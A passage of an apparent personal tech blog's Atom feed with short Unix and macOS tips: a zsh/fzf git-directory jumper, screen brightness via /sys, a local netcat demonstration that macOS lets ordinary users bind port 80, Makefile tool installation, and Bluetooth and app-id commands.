&lt;p&gt;Still, I'm happy I know an alternative way out of &lt;code&gt;less&lt;/code&gt; and &lt;code&gt;vim&lt;/code&gt;.&lt;/p&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="keyboard"/><category term="unix"/><category term="vim"/></entry><entry><title>Use a fancy font in Slack</title><link href="https://skybert.net/mac-os-x/use-a-fancy-font-in-slack" rel="alternate"/><published>2025-09-03T00:00:00+02:00</published><updated>2025-09-03T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-09-03:/mac-os-x/use-a-fancy-font-in-slack</id><content type="html">&lt;p&gt;TIL you can use other fonts than the 10 or in the Slack preferences
dialogue, if you run &lt;code&gt;/slackfont &amp;lt;name&amp;gt;&lt;/code&gt;, e.g.:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/slackfont &amp;quot;Source Code Pro&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="slack"/><category term="chat"/><category term="macos"/></entry><entry><title>cd to git repo with zsh and fzf</title><link href="https://skybert.net/unix/cd-to-git-repo-with-zsh-and-fzf" rel="alternate"/><published>2025-09-02T00:00:00+02:00</published><updated>2025-09-02T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-09-02:/unix/cd-to-git-repo-with-zsh-and-fzf</id><summary type="html">&lt;h1&gt;Navigate to any git checkout dir&lt;/h1&gt;
&lt;p&gt;In my
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/zsh/.zshrc#L163"&gt;.zshrc&lt;/a&gt;
I have defined this function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cdgit&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;stdbuf&lt;span class="w"&gt; &lt;/span&gt;--output&lt;span class="o"&gt;=&lt;/span&gt;L&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/src&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-maxdepth&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;d&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;.git&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s#/\.git$##&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;fzf&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;zle&lt;span class="w"&gt; &lt;/span&gt;reset-prompt
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;Create a zle widget …&lt;/h1&gt;</summary><content type="html">&lt;h1&gt;Navigate to any git checkout dir&lt;/h1&gt;
&lt;p&gt;In my
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/zsh/.zshrc#L163"&gt;.zshrc&lt;/a&gt;
I have defined this function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cdgit&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;stdbuf&lt;span class="w"&gt; &lt;/span&gt;--output&lt;span class="o"&gt;=&lt;/span&gt;L&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/src&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-maxdepth&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-type&lt;span class="w"&gt; &lt;/span&gt;d&lt;span class="w"&gt; &lt;/span&gt;-name&lt;span class="w"&gt; &lt;/span&gt;.git&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s#/\.git$##&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;fzf&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;zle&lt;span class="w"&gt; &lt;/span&gt;reset-prompt
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;Create a zle widget and bind it to cdgit&lt;/h1&gt;
&lt;p&gt;Also in
&lt;a href="https://gitlab.com/skybert/my-little-friends/-/blob/master/zsh/.zshrc#L163"&gt;.zshrc&lt;/a&gt;,
I bind it to a shortcut, I like &lt;kbd&gt;Ctrl + g&lt;/kbd&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;zle&lt;span class="w"&gt; &lt;/span&gt;-N&lt;span class="w"&gt; &lt;/span&gt;cdgit
bindkey&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^G&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cdgit
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="unix"/><category term="unix"/><category term="git"/><category term="zsh"/></entry><entry><title>Adjust the screen brightness from the command line</title><link href="https://skybert.net/linux/adjust-the-screen-brightness-from-the-command-line" rel="alternate"/><published>2025-08-25T00:00:00+02:00</published><updated>2025-08-25T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-08-25:/linux/adjust-the-screen-brightness-from-the-command-line</id><summary type="html">&lt;h2&gt;Find your laptop graphics card in /sys/devices&lt;/h2&gt;
&lt;p&gt;On my system, the internal, laptop screen is called &lt;code&gt;eDP-1&lt;/code&gt;, so I
search for &lt;code&gt;card1-eDP-1&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ find /sys/devices -name card1-eDP-1
/sys/devices/pci0000:00/0000:00:02.0/drm/card1/card1-eDP-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you get no hits, search for &lt;code&gt;card1&lt;/code&gt; instead and see …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Find your laptop graphics card in /sys/devices&lt;/h2&gt;
&lt;p&gt;On my system, the internal, laptop screen is called &lt;code&gt;eDP-1&lt;/code&gt;, so I
search for &lt;code&gt;card1-eDP-1&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ find /sys/devices -name card1-eDP-1
/sys/devices/pci0000:00/0000:00:02.0/drm/card1/card1-eDP-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you get no hits, search for &lt;code&gt;card1&lt;/code&gt; instead and see what cards are present:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ find /sys/devices -name card1
/sys/devices/pci0000:00/0000:00:02.0/drm/card1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When you've found it, &lt;code&gt;cd&lt;/code&gt; into the dir and follow the steps below:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cd /sys/devices/pci0000:00/0000:00:02.0/drm/card1/card1-eDP-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Find the max brightness&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat ./intel_backlight/max_brightness
1060
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Find the current brightness&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat ./intel_backlight/brightness
1060
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Adust the brightness&lt;/h2&gt;
&lt;p&gt;Here, I decrease the brightness, which was at &lt;code&gt;1060&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ echo 900 | sudo tee ./intel_backlight/brightness
900
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Set max brightness&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ cat ./intel_backlight/max_brightness | sudo tee ./intel_backlight/brightness
960
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="linux"/><category term="laptop"/></entry><entry><title>macOS Lets Regular User Process Bind to Privileged Ports</title><link href="https://skybert.net/mac-os-x/macos-lets-regular-user-process-bind-to-privileged-ports" rel="alternate"/><published>2025-08-20T00:00:00+02:00</published><updated>2025-08-20T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-08-20:/mac-os-x/macos-lets-regular-user-process-bind-to-privileged-ports</id><summary type="html">&lt;p&gt;Recently, I learned that macOS allows a regular user process to bind
to a privileged port.&lt;/p&gt;
&lt;p&gt;To test this out, in one terminal, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nc&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.0.0.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In a second terminal, talk to the process listening on port &lt;code&gt;80&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Recently, I learned that macOS allows a regular user process to bind
to a privileged port.&lt;/p&gt;
&lt;p&gt;To test this out, in one terminal, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nc&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.0.0.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In a second terminal, talk to the process listening on port &lt;code&gt;80&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The first terminal should now print:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;hello world
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cool eh? Happy networking!&lt;/p&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="unix"/></entry><entry><title>Move Window by Click Draging It</title><link href="https://skybert.net/mac-os-x/move-window-by-click-draging-it" rel="alternate"/><published>2025-08-11T00:00:00+02:00</published><updated>2025-08-11T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-08-11:/mac-os-x/move-window-by-click-draging-it</id><summary type="html">&lt;p&gt;I didn't realise I use this regularly, but now that I'm on macOS, I'm now aware of this tiny, but useful feature of X11.&lt;/p&gt;
&lt;p&gt;You can get X11-like move window by clicking anywhere on it by setting
this flag &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;defaults&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NSWindowShouldDragOnGesture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and then logout and …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I didn't realise I use this regularly, but now that I'm on macOS, I'm now aware of this tiny, but useful feature of X11.&lt;/p&gt;
&lt;p&gt;You can get X11-like move window by clicking anywhere on it by setting
this flag &lt;code&gt;true&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;defaults&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NSWindowShouldDragOnGesture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and then logout and in again.&lt;/p&gt;
&lt;p&gt;It's &lt;code&gt;&amp;lt;cmd&amp;gt;&lt;/code&gt; + &lt;code&gt;&amp;lt;ctrl&amp;gt;&lt;/code&gt; + &lt;code&gt;&amp;lt;click&amp;gt;&lt;/code&gt; rather than &lt;code&gt;&amp;lt;alt&amp;gt;&lt;/code&gt; + &lt;code&gt;&amp;lt;click&amp;gt;&lt;/code&gt;
but close enough.&lt;/p&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="unix"/><category term="macos"/><category term="x11"/></entry><entry><title>Ensure required cmd in Makefile targets</title><link href="https://skybert.net/unix/ensure-required-cmd-in-makefile-targets" rel="alternate"/><published>2025-08-07T00:00:00+02:00</published><updated>2025-08-07T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-08-07:/unix/ensure-required-cmd-in-makefile-targets</id><summary type="html">&lt;p&gt;To conditionally install the &lt;a href=""&gt;swag&lt;/a&gt; command required for my
&lt;code&gt;openapi-generate&lt;/code&gt; target, I find this approach to be both easy and
portable. It works well because &lt;code&gt;swag&lt;/code&gt; is a Go binary, so I have a way
to install it regardless of the user's platform, using &lt;code&gt;go install&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GOPATH&lt;span class="w"&gt; &lt;/span&gt;?&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;HOME&lt;span class="k"&gt;)&lt;/span&gt;/go/bin …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;To conditionally install the &lt;a href=""&gt;swag&lt;/a&gt; command required for my
&lt;code&gt;openapi-generate&lt;/code&gt; target, I find this approach to be both easy and
portable. It works well because &lt;code&gt;swag&lt;/code&gt; is a Go binary, so I have a way
to install it regardless of the user's platform, using &lt;code&gt;go install&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;GOPATH&lt;span class="w"&gt; &lt;/span&gt;?&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;HOME&lt;span class="k"&gt;)&lt;/span&gt;/go/bin
&lt;span class="nv"&gt;SWAG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;GOPATH&lt;span class="k"&gt;)&lt;/span&gt;/swag
openapi-generate:
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;SWAG&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;go&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;github.com/swaggo/swag/cmd/swag
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;SWAG&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;init
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;SWAG&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fmt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It's important to note, the variables must be set &lt;em&gt;outside&lt;/em&gt; the
target, &lt;code&gt;openapi-generate&lt;/code&gt;.&lt;/p&gt;</content><category term="unix"/><category term="unix"/><category term="makefile"/><category term="make"/><category term="coding"/><category term="go"/></entry><entry><title>How to find an app's id on macOS</title><link href="https://skybert.net/mac-os-x/how-to-find-an-apps-id-on-macos" rel="alternate"/><published>2025-07-30T00:00:00+02:00</published><updated>2025-07-30T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-07-30:/mac-os-x/how-to-find-an-apps-id-on-macos</id><summary type="html">&lt;p&gt;Sometimes, you need to know the app id, like configuring the window
manager to always put Slack on workspace number 6. To get the app id,
you can use &lt;code&gt;mdls&lt;/code&gt; and just give it the path to the app directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mdls -name kMDItemCFBundleIdentifier -r /Applications/Slack.app
com.tinyspeck.slackmacgap …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;Sometimes, you need to know the app id, like configuring the window
manager to always put Slack on workspace number 6. To get the app id,
you can use &lt;code&gt;mdls&lt;/code&gt; and just give it the path to the app directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mdls -name kMDItemCFBundleIdentifier -r /Applications/Slack.app
com.tinyspeck.slackmacgap
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/><category term="macos"/></entry><entry><title>Bluetooth from the CLI on macOS</title><link href="https://skybert.net/mac-os-x/bluetooth-from-the-cli-on-macos" rel="alternate"/><published>2025-06-25T00:00:00+02:00</published><updated>2025-06-25T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-06-25:/mac-os-x/bluetooth-from-the-cli-on-macos</id><summary type="html">&lt;h1&gt;Turn on and off Bluetooth&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ blueutil --power 0 # off
$ blueutil --power 1 # on
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;List connected Bluetooth devices&lt;/h2&gt;
&lt;p&gt;To list your connected Bluetooth devices, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ blueutil --connected
address: 50-c2-75-77-8c-d4, connected (master, -31 dBm), not favourite, paired, name: &amp;quot;skybert-Jabra Evolve2 65&amp;quot;, recent access date: 2025-06-25 06:22:04 +0000
address: dd-d2-83-e2-74-02, connected …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h1&gt;Turn on and off Bluetooth&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ blueutil --power 0 # off
$ blueutil --power 1 # on
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;List connected Bluetooth devices&lt;/h2&gt;
&lt;p&gt;To list your connected Bluetooth devices, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ blueutil --connected
address: 50-c2-75-77-8c-d4, connected (master, -31 dBm), not favourite, paired, name: &amp;quot;skybert-Jabra Evolve2 65&amp;quot;, recent access date: 2025-06-25 06:22:04 +0000
address: dd-d2-83-e2-74-02, connected (master, 0 dBm), not favourite, paired, name: &amp;quot;skybert-MX Master 3S B&amp;quot;, recent access date: 2025-06-25 06:22:04 +0000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Connect to a previously paired device&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ blueutil --connect 50-c2-75-77-8c-d4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="mac-os-x"/><category term="mac-os-x"/></entry><entry><title>Power Point Architect</title><link href="https://skybert.net/various/power-point-architect" rel="alternate"/><published>2025-05-30T00:00:00+02:00</published><updated>2025-05-30T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-05-30:/various/power-point-architect</id><summary type="html">&lt;p&gt;Power Point Architect (n.)&lt;br/&gt;
Pronunciation: &lt;em&gt;/ˈpaʊə pɔɪnt ˈɑː.kɪ.tekt/&lt;/em&gt;&lt;br/&gt;
Abbreviation: PPA&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;colloquial. A person who has never contributed code to a software
   product but who makes or influences high-level architectural
   decisions that affect the design, development, and maintenance of
   that product, through presentations, meetings, and Power Point
   slides rather …&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;p&gt;Power Point Architect (n.)&lt;br/&gt;
Pronunciation: &lt;em&gt;/ˈpaʊə pɔɪnt ˈɑː.kɪ.tekt/&lt;/em&gt;&lt;br/&gt;
